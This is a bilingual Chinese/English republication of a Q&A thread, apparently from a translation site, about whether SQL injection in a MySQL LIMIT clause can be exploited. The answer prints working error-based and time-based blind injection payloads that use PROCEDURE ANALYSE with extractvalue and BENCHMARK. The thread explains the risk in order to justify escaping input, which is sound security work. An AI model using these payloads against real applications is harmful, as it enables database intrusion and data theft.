SQL注入和LIMIT子句 [英] SQL Injection and the LIMIT clause

问题描述

这个问题是为了解决我和同事之间的争执.

This question is to settle an argument between me and a coworker.

假设我们有以下查询，这些查询是在标准LAMP服务器上执行的.

Let's say we have the following query, executed on a standard LAMP server.

SELECT field1, field2, field3
FROM some_table
WHERE some_table.field1 = 123
ORDER BY field2 DESC
LIMIT 0, 15

现在让我们假设limit子句容易受到SQL注入的攻击.<​​/p>

Now let's assume the limit clause is vulnerable to SQL injection.

LIMIT [insert anything here], [also insert anything here]

我的同事的观点是，无法利用这种注入，因此无需逃脱它(因为它需要更多的处理能力和工作量).

The point of my coworker is that there is no way to exploit this injection, so there's no need to escape it (since it take more processing power and stuff).

我认为她的推理很愚蠢，但我无法通过找到一个例子来弄清楚如何证明她的错.

I think her reasoning is stupid, but I can't figure out how to prove her wrong by finding an example.

我不能使用UNION，因为查询使用的是ORDER BY子句，并且运行查询的MySQL用户没有FILE特权，因此使用INTO OUTFILE也不可行.

I can't use UNION since the query is using an ORDER BY clause, and the MySQL user running the query doesn't have the FILE priviledge so using INTO OUTFILE is also out of the question.

那么，有谁能告诉我们在这个案件上谁是正确的?

So, can anyone tell us who is right on this case?

编辑:查询是使用PHP执行的，因此无法使用分号添加第二个查询.

Edit: the query is executed using PHP, so adding a second query using a semicolon won't work.

推荐答案

LIMIT子句 容易受到SQL注入的影响，即使它跟随ORDER BY，例如

The LIMIT clause is vulnerable to SQL injection, even when it follows an ORDER BY, as Maurycy Prodeus demonstrated earlier this year:

mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1
       procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'

Voilà！上述解决方案基于所谓的基于错误的注入的方便的已知技术.因此，如果易受攻击的Web应用程序泄露了数据库引擎的错误(这是一次真正的机会，这种不良做法很普遍)，我们将解决问题.如果我们的目标没有显示错误怎么办?我们仍然能够成功利用它吗?

Voilà! The above solution is based on handy known technique of so-called error based injection. If, therefore, our vulnerable web application discloses the errors of the database engine (this is a real chance, such bad practices are common), we solve the problem. What if our target doesn’t display errors? Are we still able to exploit it successfully?

事实证明，我们可以将上述方法与另一种众所周知的技术-基于时间的注入相结合.在这种情况下，我们的解决方案如下:

It turns out that we can combine the above method with another well-known technique – time based injection. In this case, our solution will be as follows:

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1
PROCEDURE analyse((select extractvalue(rand(),
concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

有效.有趣的是，在这种情况下无法使用SLEEP.这就是为什么必须有一个基准标记的原因.

It works. What is interesting that using SLEEP is not possible in this case. That’s why there must be a BENCHMARK instead.

这篇关于SQL注入和LIMIT子句的文章就介绍到这了，希望我们推荐的答案对大家有所帮助，也希望大家多多支持IT屋！